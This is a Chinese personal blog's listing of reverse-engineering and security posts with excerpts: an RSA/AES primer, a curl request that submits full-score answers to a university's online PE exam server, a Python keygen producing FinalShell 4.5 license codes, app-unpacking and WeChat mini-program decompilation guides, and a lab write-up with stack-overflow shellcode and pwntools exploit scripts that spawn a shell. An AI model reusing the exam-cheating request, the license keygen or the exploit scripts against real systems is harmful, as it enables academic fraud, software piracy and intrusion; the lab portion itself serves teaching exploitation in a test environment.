首页
文章分类
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
网上邻居
留言板
关于我
Search
登录
1
利用AList搭建家庭个人影音库
5,240 阅读
2
浅尝Restful Fast Request插件,一句话完成 逆向过程
5,133 阅读
3
完美破解The Economist付费墙
3,600 阅读
4
i茅台app接口自动化csharp wpf实现,挂机windows服务器每日自动预约
3,324 阅读
5
青龙面板基本使用并添加修改微信/支付宝步数脚本
2,768 阅读
Search
标签搜索
PHP
Laravel
Python
前端
csharp
安卓逆向
JavaScript
Java
爬虫
抓包
Git
winform
android
Fiddler
Vue
selenium
LeetCode
每日一题
简单题
docker
Hygge
累计撰写
106
篇文章
累计收到
452
条评论
首页
栏目
逆向网安
中英演讲
杂类教程
学习笔记
前端开发
汇编
数据库
.NET
服务器
Python
Java
PHP
Git
算法
安卓开发
生活记录
读书笔记
作品发布
人体健康
页面
网上邻居
留言板
关于我
用户登录
搜索到
14
篇与
的结果
2025-09-03
逆向加密算法盘点与实例汇总
逆向加密算法盘点与实例汇总每次都要现查例子,先进行总结一篇。单向加密MD5SHA双向加密非对称加密RSA加密RSA加密算法是一种非对称加密算法,所谓非对称,就是指该算法加密和解密使用不同的密钥,即使用加密密钥进行加密、解密密钥进行解密。在RAS算法中,加密密钥(即公开密钥)PK是公开信息,而解密密钥(即秘密密钥)SK是需要保密的。加密算法E和解密算法D也都是公开的。虽然解密密钥SK是由公开密钥PK决定的,由于无法计算出大数n的欧拉函数phi(N),所以不能根据PK计算出SK。也就是说,对极大整数做因数分解的难度决定了RSA算法的可靠性。理论上,只要其钥匙的长度n足够长,用RSA加密的信息实际上是不能被解破的。RSA算法通常是先生成一对RSA密钥,其中之一是保密密钥,由用户保存;另一个为公开密钥,可对外公开。为提高保密强度,RSA密钥至少为500位长,一般推荐使用1024位。这就使加密的计算量很大。为减少计算量,在传送信息时,常采用传统加密方法与公开密钥加密方法相结合的方式,即信息采用改进的DES或IDEA密钥加密,然后使用RSA密钥加密对话密钥和信息摘要。对方收到信息后,用不同的密钥解密并可核对信息摘要。公钥类型特性XML 格式PEM 格式外观纯文本,具有明显的 XML 标签(如 <RSAKeyValue>, <Modulus>)纯文本,具有明显的 -----BEGIN XXX----- 和 -----END XXX----- 标签编码方式通常使用 Base64 编码密钥参数(模数、指数等)通常是 Base64 编码的 DER(二进制)数据,也可以是纯二进制 DER常见扩展名.xml.pem, .key, .crt, .cer (注意:.crt/.cer 通常用于证书)标准/起源主要由 微软 .NET 生态系统使用和推广源于 OpenSSL 工具集,是互联网和 *nix 世界的事实标准包含内容非常明确地将密钥的每个组成部分(Modulus, Exponent, P, Q 等)分开存储一个封装容器,可以包含: - 私钥 - 公钥 - X.509 证书 - CSR(证书签名请求)可读性对开发者非常友好,结构清晰,易于解析和手动查看需要借助 openssl 等工具解析内容才能看清详细参数互操作性主要在 Windows/.NET 环境中流行,其他平台需要特定库解析通用性极强,被几乎所有开源库、语言和平台(如 Python, Java, Node.js, Go, PHP)广泛支持1. XML 格式这种格式将 RSA 密钥的每个数学组成部分都分解成独立的 XML 元素,并用 Base64 编码其值。公钥示例:<RSAKeyValue> <Modulus>xyz123...Abc=</Modulus> <!-- 模数 (n) --> <Exponent>AQAB</Exponent> <!-- 公钥指数 (e),通常是 65537 --> </RSAKeyValue>私钥示例 (包含更多参数):<RSAKeyValue> <Modulus>... </Modulus> <Exponent>... </Exponent> <P>... </P> <!-- 质数 p --> <Q>... </Q> <!-- 质数 q --> <DP>... </DP> <!-- d mod (p-1) --> <DQ>... </DQ> <!-- d mod (q-1) --> <InverseQ>... </InverseQ> <!-- (q^{-1} mod p) --> <D>... </D> <!-- 私钥指数 (d) --> </RSAKeyValue>特点:优点:结构清晰,可读性强,非常适合在配置文件中使用或在不同 .NET 服务间传递。缺点:在非 Windows 生态系统中不如 PEM 通用。2. PEM 格式PEM (Privacy-Enhanced Mail) 格式本质上是一个 文本化的容器,它使用 Base64 编码来包装二进制数据(通常是 DER 编码的 ASN.1 结构),并加上明确的首尾行标签。公钥示例:-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A... ...(Base64 编码数据)... -----END PUBLIC KEY-----私钥示例 (PKCS#8 格式):-----BEGIN PRIVATE KEY----- MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgw... ...(Base64 编码数据)... -----END PRIVATE KEY-----传统的 PKCS#1 私钥格式:-----BEGIN RSA PRIVATE KEY----- ...(Base64 编码数据)... -----END RSA PRIVATE KEY-----实例1.Csharp版本(.NET FRAMEWORK)仅支持XML格式的公钥,PEM格式需要先调用RSAPublicKey进行转换Main.csusing System; using Demo.Helper; namespace RSADemo { class Program { static void Main(string[] args) { // 示例:PEM格式的公钥(通常以 -----BEGIN PUBLIC KEY----- 开头) string pemPublicKey = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx4b..." + "(这里是完整的Base64编码PEM公钥内容,不包含首尾标签)"; // 1. 将PEM公钥转换为XML格式 string xmlPublicKey = RSAHelper.RSAPublicKey(pemPublicKey); Console.WriteLine("XML格式公钥:\n" + xmlPublicKey); // 2. 使用XML公钥加密数据 string plainText = "Hello, RSA加密测试!"; string encryptedText = RSAHelper.RSAEncrypt(xmlPublicKey, plainText); Console.WriteLine("\n加密结果(Base64):\n" + encryptedText); } } }RSAHelper.csusing System; using System.Collections.Generic; using System.Linq; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using Org.BouncyCastle.Crypto.Parameters; using Org.BouncyCastle.Security; namespace Demo.Helper { /// <summary> /// RSA工具类 /// </summary> public class RSAHelper { /// <summary> /// RSA公钥pem-->XML格式转换, /// </summary> /// <param name="publicKey">pem公钥</param> /// <returns></returns> public static string RSAPublicKey(string publicKey) { RsaKeyParameters publicKeyParam = (RsaKeyParameters)PublicKeyFactory.CreateKey(Convert.FromBase64String(publicKey)); string XML = string.Format("<RSAKeyValue><Modulus>{0}</Modulus><Exponent>{1}</Exponent></RSAKeyValue>", Convert.ToBase64String(publicKeyParam.Modulus.ToByteArrayUnsigned()), Convert.ToBase64String(publicKeyParam.Exponent.ToByteArrayUnsigned())); return XML; } /// <summary> /// RSA公钥加密数据 /// </summary> /// <param name="xmlPublicKey"></param> /// <param name="content"></param> /// <returns></returns> public static string RSAEncrypt(string xmlPublicKey, string content) { string encryptedContent = string.Empty; using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider()) { rsa.FromXmlString(xmlPublicKey); byte[] encryptedData = rsa.Encrypt(Encoding.Default.GetBytes(content), false); encryptedContent = Convert.ToBase64String(encryptedData); } return encryptedContent; } } }对称加密AES加密AES是高级加密标准,在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,目前已经被全世界广泛使用,同时AES已经成为对称密钥加密中最流行的算法之一。AES支持三种长度的密钥:128位,192位,256位。加密原理1.密钥密钥是AES算法实现加密和解密的根本。对称加密算法之所以对称,是因为这类算法对明文的加密和解密需要使用同一个密钥。AES支持三种长度的密钥:128位,192位,256位平时大家所说的AES128,AES192,AES256,实际上就是指的AES算法对不同长度密钥的使用。2.填充要想了解填充的概念,我们先要了解AES的分组加密特性。什么是分组加密呢?我们来看看下面这张图:AES算法在对明文加密的时候,并不是把整个明文一股脑加密成一整段密文,而是把明文拆分成一个个独立的明文块,每一个明文块长度128bit。这些明文块经过AES加密器的复杂处理,生成一个个独立的密文块,这些密文块拼接在一起,就是最终的AES加密结果。假如一段明文长度是192bit,如果按每128bit一个明文块来拆分的话,第二个明文块只有64bit,不足128bit。这时候怎么办呢?就需要对明文块进行填充(Padding)。填充涉及以下三种填充模式:NoPadding:不做任何填充,但是要求明文必须是16字节的整数倍。PKCS5Padding(默认,是PKCS#7的子集):如果明文块少于8 字节块(如 DES/3DES),在明文块末尾补足相应数量的字符,且每个字节的值等于缺少的字符数。示例:明文 {1,2,3,4,5}(5 字节),需补 3 字节 → {1,2,3,4,5,3,3,3}。PKCS#7 Padding若明文长度不是块大小的整数倍(如 AES 的 16 字节),则在末尾补 n 个字节,每个字节的值均为 n。示例:明文 {1,2,3,4,5,a,b,c,d,e}(10 字节),需补 6 字节 → {1,2,3,4,5,a,b,c,d,e,6,6,6,6,6,6}。适用于块大小为 1~255 字节的算法(如 AES 的 16/24/32 字节块)。是 PKCS#5 的通用化版本(PKCS#5 仅支持 8 字节块)。ISO10126Padding:如果明文块少于16个字节(128bit),在明文块末尾补足相应数量的字节,最后一个字符值等于缺少的字符数,其他字符填充随机数。比如明文:{1,2,3,4,5,a,b,c,d,e},缺少6个字节,则可能补全为{1,2,3,4,5,a,b,c,d,e,5,c,3,G,$,6}加密模式一、电码本模式(ECB)将整个明文分成若干段相同的小段,然后对每一小段进行加密。优点:操作简单,易于实现;分组独立,易于并行;误差不会被传送。——简单,可并行,不传送误差。缺点:掩盖不了明文结构信息,难以抵抗统计分析攻击。——可对明文进行主动攻击。二、密码分组链模式(CBC)先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。优点:能掩盖明文结构信息,保证相同密文可得不同明文,所以不容易主动攻击,安全性好于ECB,适合传输长度长的报文,是SSL和IPSec的标准。缺点:(1)不利于并行计算;(2)传递误差——前一个出错则后续全错;(3)第一个明文块需要与一个初始化向量IV进行抑或,初始化向量IV的选取比较复杂。初始化IV的选取方式:固定IV,计数器IV,随机IV(只能得到伪随机数,用的最多),瞬时IV(难以得到瞬时值)三、输出反馈模式(OFB)密码算法的输出(指密码key而不是密文)会反馈到密码算法的输入中,OFB模式并不是通过密码算法对明文直接加密,而是通过将明文分组和密码算法的输出进行XOR来产生密文分组。优点:隐藏了明文模式;结合了分组加密和流密码(分组密码转化为流模式);可以及时加密传送小于分组的数据。缺点:不利于并行计算;需要生成秘钥流;对明文的主动攻击是可能的。四 计数器模式(CTR)完全的流模式。将瞬时值与计数器连接起来,然后对此进行加密产生密钥流的一个密钥块,再进行XOR操作 。优点:不泄露明文;仅需实现加密函数;无需填充;可并行计算。缺点:需要瞬时值IV,难以保证IV的唯一性。五.密码反馈模式(CFB)把分组密码当做流密码使用,即密码反馈模式可将DES分组密码置换成流密码。流密码具有密文和明文长度一致、运行实时的性质,这样数据可以在比分组小得多的单元里进行加密。如果需要发送的每个字符长为8比特,就应使用8比特密钥来加密每个字符。如果长度超过8比特,则造成浪费。但是要注意,由于CFB模式中分组密码是以流密码方式使用,所以加密和解密操作完全相同,因此无法适用于公钥密码系统,只能适用于对称密钥密码系统。密码反馈模式也需要一个初始量,无须保密,但对每条消息必须有一个不同的初始量。优点:可以处理任意长度的消息,能适应用户不同数据格式的需要。可实现自同步功能。就有有限步的错误传播,除能获得保密性外,还可用于认证。缺点:对信道错误较敏感,且会造成错误传播。数据加密的速率被降低。AES算法流程AES加密算法涉及4种操作:字节替代(SubBytes)、行移位(ShiftRows)、列混淆(MixColumns)和轮密钥加(AddRoundKey)。下图给出了AES加解密的流程,从图中可以看出:1、解密算法的每一步分别对应加密算法的逆操作;2、加解密所有操作的顺序正好是相反的。正是由于这几点(再加上加密算法与解密算法每步的操作互逆)保证了算法的正确性。加解密中每轮的密钥分别由种子密钥经过密钥扩展算法得到。算法中16字节的明文、密文和轮子密钥都以一个4x4的矩阵表示。AddRoundKey (轮密钥加)— 矩阵中的每一个字节都与该次轮密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。SubBytes(字节替代) — 通过非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。ShiftRows(行移位) — 将矩阵中的每个横列进行循环式移位。MixColumns (列混淆)— 为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每列的四个字节。以上为AES在加密中的大致流程。DES加密
2025年09月03日
2 阅读
0 评论
0 点赞
2025-06-17
北京农学院体育理论满分请求
用法:替换Cookie和examId 发送即可满分curl --location --request POST 'http://39.107.15.49:8081/pc/web/exam/assign' \ --header 'Pragma: no-cache' \ --header 'Proxy-Connection: keep-alive' \ --header 'X-Requested-With: XMLHttpRequest' \ --header 'Cookie: SHRIOSESSIONID=' \ --header 'User-Agent: Apifox/1.0.0 (https://apifox.com)' \ --header 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ --header 'Accept: */*' \ --header 'Host: 39.107.15.49:8081' \ --header 'Connection: keep-alive' \ --data-urlencode 'examId=替换考试ID' \ --data-urlencode 'singleAnswer=single-1474-5129' \ --data-urlencode 'answer-1474=5129' \ --data-urlencode 'singleAnswer=single-1545-5412' \ --data-urlencode 'answer-1545=5412' \ --data-urlencode 'singleAnswer=single-1483-5164' \ --data-urlencode 'answer-1483=5164' \ --data-urlencode 'singleAnswer=single-1933-6603' \ --data-urlencode 'answer-1933=6603' \ --data-urlencode 'singleAnswer=single-1521-5318' \ --data-urlencode 'answer-1521=5318' \ --data-urlencode 'singleAnswer=single-1867-6367' \ --data-urlencode 'answer-1867=6367' \ --data-urlencode 'singleAnswer=single-1501-5238' \ --data-urlencode 'answer-1501=5238' \ --data-urlencode 'singleAnswer=single-1873-6389' \ --data-urlencode 'answer-1873=6389' \ --data-urlencode 'singleAnswer=single-1964-6721' \ --data-urlencode 'answer-1964=6721' \ --data-urlencode 'singleAnswer=single-1935-6608' \ --data-urlencode 'answer-1935=6608' \ --data-urlencode 'singleAnswer=single-1482-5162' \ --data-urlencode 'answer-1482=5162' \ --data-urlencode 'singleAnswer=single-1507-5261' \ --data-urlencode 'answer-1507=5261' \ --data-urlencode 'singleAnswer=single-1927-6581' \ --data-urlencode 'answer-1927=6581' \ --data-urlencode 'singleAnswer=single-1962-6714' \ --data-urlencode 'answer-1962=6714' \ --data-urlencode 'singleAnswer=single-1965-6723' \ --data-urlencode 'answer-1965=6723' \ --data-urlencode 'singleAnswer=single-1490-5192' \ --data-urlencode 'answer-1490=5192' \ --data-urlencode 'singleAnswer=single-1535-5372' \ --data-urlencode 'answer-1535=5372' \ --data-urlencode 'singleAnswer=single-1537-5382' \ --data-urlencode 'answer-1537=5382' \ --data-urlencode 'singleAnswer=single-1888-6443' \ --data-urlencode 'answer-1888=6443' \ --data-urlencode 'singleAnswer=single-1480-5152' \ --data-urlencode 'answer-1480=5152' \ --data-urlencode 'singleAnswer=single-1891-6452' \ --data-urlencode 'answer-1891=6452' \ --data-urlencode 'singleAnswer=single-1902-6493' \ --data-urlencode 'answer-1902=6493' \ --data-urlencode 'singleAnswer=single-1531-5356' \ --data-urlencode 'answer-1531=5356' \ --data-urlencode 'singleAnswer=single-1894-6463' \ --data-urlencode 'answer-1894=6463' \ --data-urlencode 'singleAnswer=single-1540-5391' \ --data-urlencode 'answer-1540=5391' \ --data-urlencode 'multipleAnswer=multiple-2154-16227,16225,16223,16224,16226,' \ --data-urlencode 'answer-2154=16227' \ --data-urlencode 'answer-2154=16225' \ --data-urlencode 'answer-2154=16223' \ --data-urlencode 'answer-2154=16224' \ --data-urlencode 'answer-2154=16226' \ --data-urlencode 'multipleAnswer=multiple-2081-7139,7138,7137,' \ --data-urlencode 'answer-2081=7139' \ --data-urlencode 'answer-2081=7138' \ --data-urlencode 'answer-2081=7137' \ --data-urlencode 'multipleAnswer=multiple-2101-15870,15872,15869,15873,15871,15868,' \ --data-urlencode 'answer-2101=15870' \ --data-urlencode 'answer-2101=15872' \ --data-urlencode 'answer-2101=15869' \ --data-urlencode 'answer-2101=15873' \ --data-urlencode 'answer-2101=15871' \ --data-urlencode 'answer-2101=15868' \ --data-urlencode 'multipleAnswer=multiple-2157-16288,16286,16287,16289,16290,' \ --data-urlencode 'answer-2157=16288' \ --data-urlencode 'answer-2157=16286' \ --data-urlencode 'answer-2157=16287' \ --data-urlencode 'answer-2157=16289' \ --data-urlencode 'answer-2157=16290' \ --data-urlencode 'multipleAnswer=multiple-2036-6976,6975,6977,' \ --data-urlencode 'answer-2036=6976' \ --data-urlencode 'answer-2036=6975' \ --data-urlencode 'answer-2036=6977' \ --data-urlencode 'multipleAnswer=multiple-2103-15899,15900,15898,' \ --data-urlencode 'answer-2103=15899' \ --data-urlencode 'answer-2103=15900' \ --data-urlencode 'answer-2103=15898' \ --data-urlencode 'multipleAnswer=multiple-2064-7078,7079,7077,' \ --data-urlencode 'answer-2064=7078' \ --data-urlencode 'answer-2064=7079' \ --data-urlencode 'answer-2064=7077' \ --data-urlencode 'multipleAnswer=multiple-2121-16000,15999,16001,15998,' \ --data-urlencode 'answer-2121=16000' \ --data-urlencode 'answer-2121=15999' \ --data-urlencode 'answer-2121=16001' \ --data-urlencode 'answer-2121=15998' \ --data-urlencode 'multipleAnswer=multiple-2138-16126,16128,16127,' \ --data-urlencode 'answer-2138=16126' \ --data-urlencode 'answer-2138=16128' \ --data-urlencode 'answer-2138=16127' \ --data-urlencode 'multipleAnswer=multiple-2025-15345,15348,' \ --data-urlencode 'answer-2025=15345' \ --data-urlencode 'answer-2025=15348' \ --data-urlencode 'judgeAnswer=judge-2223-7584' \ --data-urlencode 'answer-2223=7584' \ --data-urlencode 'judgeAnswer=judge-2284-7711' \ --data-urlencode 'answer-2284=7711' \ --data-urlencode 'judgeAnswer=judge-2206-7547' \ --data-urlencode 'answer-2206=7547' \ --data-urlencode 'judgeAnswer=judge-2161-7448' \ --data-urlencode 'answer-2161=7448' \ --data-urlencode 'judgeAnswer=judge-2180-7491' \ --data-urlencode 'answer-2180=7491' \ --data-urlencode 'judgeAnswer=judge-2253-7649' \ --data-urlencode 'answer-2253=7649' \ --data-urlencode 'judgeAnswer=judge-2171-7471' \ --data-urlencode 'answer-2171=7471' \ --data-urlencode 'judgeAnswer=judge-2211-7556' \ --data-urlencode 'answer-2211=7556' \ --data-urlencode 'judgeAnswer=judge-2252-7648' \ --data-urlencode 'answer-2252=7648' \ --data-urlencode 'judgeAnswer=judge-2254-7651' \ --data-urlencode 'answer-2254=7651' \ --data-urlencode 'judgeAnswer=judge-2199-7530' \ --data-urlencode 'answer-2199=7530' \ --data-urlencode 'judgeAnswer=judge-2183-7499' \ --data-urlencode 'answer-2183=7499' \ --data-urlencode 'judgeAnswer=judge-2225-7588' \ --data-urlencode 'answer-2225=7588' \ --data-urlencode 'judgeAnswer=judge-2251-7645' \ --data-urlencode 'answer-2251=7645' \ --data-urlencode 'judgeAnswer=judge-2257-7658' \ --data-urlencode 'answer-2257=7658' \ --data-urlencode 'judgeAnswer=judge-2237-7614' \ --data-urlencode 'answer-2237=7614' \ --data-urlencode 'judgeAnswer=judge-2176-7483' \ --data-urlencode 'answer-2176=7483' \ --data-urlencode 'judgeAnswer=judge-2160-7447' \ --data-urlencode 'answer-2160=7447' \ --data-urlencode 'judgeAnswer=judge-2216-7569' \ --data-urlencode 'answer-2216=7569' \ --data-urlencode 'judgeAnswer=judge-2177-7485' \ --data-urlencode 'answer-2177=7485'
2025年06月17日
21 阅读
0 评论
0 点赞
2025-04-12
finalshell 4.5 离线码计算 破解专业版高级版
!pip install pycryptodome from Crypto.Hash import keccak from Crypto.Hash import MD5 def md5(msg): hash_obj = MD5.new(msg) return hash_obj.hexdigest() def keccak384(msg): hash_obj = keccak.new(data=msg, digest_bits=384) return hash_obj.hexdigest() if __name__ == '__main__': code = input('输入机器码: ') print('版本号 < 3.9.6 (旧版)') print('高级版:', md5(f'61305{code}8552'.encode())[8:24]) print('专业版:', md5(f'2356{code}13593'.encode())[8:24]) print('版本号 >= 3.9.6 (新版)') print('高级版:', keccak384(f'{code}hSf(78cvVlS5E'.encode())[12:28]) print('专业版:', keccak384(f'{code}FF3Go(*Xvbb5s2'.encode())[12:28]) print('版本号 (4.5)') print('高级版:', keccak384(f'{code}wcegS3gzA$'.encode())[12:28]) print('专业版:', keccak384(f'{code}b(xxkHn%z);x'.encode())[12:28])我直接在Colab中运行的,激活成功了
2025年04月12日
48 阅读
0 评论
0 点赞
2024-01-08
frida-dexdump简单脱壳
一、安装Pip install frida-tools Pip install frida-dexdump安装frida-tools可能会报错,提示C:\Users\Nmae/frida-15.1.17-py3.10-win-amd64.egg不存在,手动pypi上下载后放到该位置,即可安装成功。二、脱壳Frida-ps -U #查看手机进程(检查是否成功连接frida-server) https://github.com/hluwa/frida-dexdump Frida-dexdump #简单脱壳(需应用正在运行) a. frida-dexdump -FU 快速转存前台应用程序 b. frida-dexdump -U -f com.app.pkgname #转存指定应用程序 i. -o OUTPUT, --output OUTPUT Output folder path, default is './<appname>/'. ii. -d, --deep-search Enable deep search mode. iii. --sleep SLEEP Waiting times for start, spawn mode default is 5s.
2024年01月08日
352 阅读
0 评论
0 点赞
2023-12-22
微信小程序逆向教程
小程序包提取1.PC端2.安卓端存储在这三个子目录中,可能有主包和子包基本使用安装node依赖npm install esprima -g npm install css-tree -g npm install cssbeautify -g npm install vm2 -g npm install uglify-es -g npm install js-beautify -g npm install escodegen -g当检测到 wxapkg 为子包时, 添加-s 参数指定主包源码路径即可自动将子包的 wxss,wxml,js 解析到主包的对应位置下. 完整流程大致如下:1.获取主包和若干子包2.解包主包 node wuWxapkg.js testpkg/master-shop.wxapkg3.若无子包则不需要: 解包子包 node wuWxapkg.js testpkg/sub-1-shop.wxapkg -s=../master-shop-s 参数可为相对路径或绝对路径, 推荐使用绝对路径, 因为相对路径的起点不是当前目录 而是子包解包后的目录├── testpkg │ ├── sub-1-shop.wxapkg #被解析子包 │ └── sub-1-shop #相对路径的起点 │ ├── app-service.js │ ├── master-shop.wxapkg │ └── master-shop # ../master-shop 就是这个目录 │ ├── app.json无视这个报错,把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。反编译问题汇总问题一:Cannot find module 'uglify-es'解决方案:提前安装所需的node依赖:npm install esprima --save npm install css-tree --save npm install cssbeautify --save npm install vm2 --save npm install uglify-es --save npm install js-beautify --save npm install escodegen --save问题二:Error: Magic number is not correct!解决方案:我是从电脑端微信客户端获取的wxapkg文件用网上的所有脚本都报magic number is not correct最后试了试原始的方法 用模拟器去获取wxapkg,就成了问题三:SyntaxError:Unexpected end of input解决方案:问题四:反编译子包遇到Error: ENOTDIR: not a directory, scandir解决方案:使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。最后把所有子包得到的文件全部复制到主包的项目目录下,即可得到一套完整的反编译代码。引用1.反编译报错:Unexpected end of input:https://github.com/xdmjun/wxappUnpacker/issues/302.浅谈小程序逆向:https://blog.csdn.net/weixin_42545308/article/details/126890607使用-s命令反编译子包时,可能也会报错:Error: ENOTDIR: not a directory, scandir。遇到这个报错可以不用管,运行完可以看下解出来的文件,实际上需要用到的东西已经解出来了。3.wxappUnpacker1 GITHUB Repository:https://github.com/jas502n/wxappUnpacker14.获取微信小程序源码的三种方法:https://www.cnblogs.com/micr067/p/15524643.html5.小程序反编译的几点心得:https://blog.csdn.net/qq_41297837/article/details/103962564magic number is not correct
2023年12月22日
483 阅读
0 评论
0 点赞
2023-10-14
使用GDB调试本地栈溢出漏洞获得Root权限
攻防目标基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。靶机和攻击机环境靶机系统 :Linux metasploitable 2.6.24-16-server攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linuxtask1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序1.1 使用终端工具连接Linux,编辑overflow.c源程序#include <stdio.h> #include <string.h> int f() { char buf[32]; system("echo input"); return read(0,buf,100); } int main(int argc, char *argv[]){ f(); system("echo helloworld"); return 0; }函数f中故意制造栈溢出漏洞1.2 使用GCC编译源程序并执行a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能b) #ulimit -c unlimited 让系统在错误时产生core文件c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaatask2: 使用gdb反汇编调试有漏洞的C语言源程序gdb ./overflow core查看coredump文件,查看寄存器使用gdb反汇编overflow程序gdb ./overflow 打开程序(gdb) set disassembly-flavor intel //设置反汇编格式为intel(gdb) disassemble main //反汇编main函数(gdb) disassemble f //反汇编f()函数使用gdb跟踪调试程序(gdb) start //启动程序查看寄存器和内存step执行一行源代码进入f()函数内部next执行一行源代码不进入system("echo input")函数next执行一行源代码不进入return read(0,buf,100)函数输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccnext执行一行源代码,查看寄存器和内存,2.1 任务二分析首先在main函数执行中查看寄存器:此时main函数对应的栈顶指针和基址指针如下:寄存器值esp0xbffff880ebp0xbffff888eip0x80483e4单步进入f()函数内部,再次查看寄存器变化汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈寄存器值esp0xbffff840ebp0xbffff878eip0x80483aa继续next执行当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域使用命令:(gdb)x/32x 0xbffff84061为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器task3:构造shellcode攻击本地漏洞3.1 编辑汇编语言shell.asm输出字符串HACKBITS 32 start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx mov bl,1 add esp,string - start mov ecx,esp mov dl,5 mov al,4 int 0x80 mov al,1 mov bl,1 dec bl int 0x80 string: db "HACK",0xa3.2 下载编译安装汇编语言工具(配置、编译、安装)https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz 3.3 #nasm -o shell shell.asm汇编源程序3.4 #ndisasm shell反汇编获得机器码3.5、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存此时0x63636363就是f()函数的返回地址只需要把这里的内容改为要跳转的恶意程序地址即可7、构造shellcode提交给漏洞程序执行perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflowtask4:使用pwntools攻击远程漏洞1、在kali远程攻击Metasploitable2-Linuxa)在Metasploitable2-Linux监听123端口并绑定溢出程序root@metasploitable:~# nc -l -v -p 123 -e ./overflowb)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode(root㉿kali)-[~] nc 192.168.91.202 1232、在kali安装使用pwntools攻击Metasploitable2-Linuxa)#wget https://bootstrap.pypa.io/get-pip.py b)#python3 get-pip.pyc)#pip3 install pwntoolsd)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()e)在Metasploitable2-Linux监听123端口并绑定溢出程序f)#python3 exp.py在kali执行exploit攻击脚本3、使用pwntools获得shella)在kali编辑exploit攻击脚本exp.pyfrom pwn import * p = remote('192.168.91.202','123') stackaddr = 0xbffff8a0 shellcode = asm(shellcraft.linux.sh(),arch='i386') payload = b'a' * 36 + p32(stackaddr) + shellcode p.send(payload) p.interactive()b)在Metasploitable2-Linux监听123端口并绑定溢出程序c)#python3 exp.py在kali执行exploit攻击脚本
2023年10月14日
419 阅读
0 评论
0 点赞
2023-07-26
第四篇Android逆向:动态调试&Log插桩
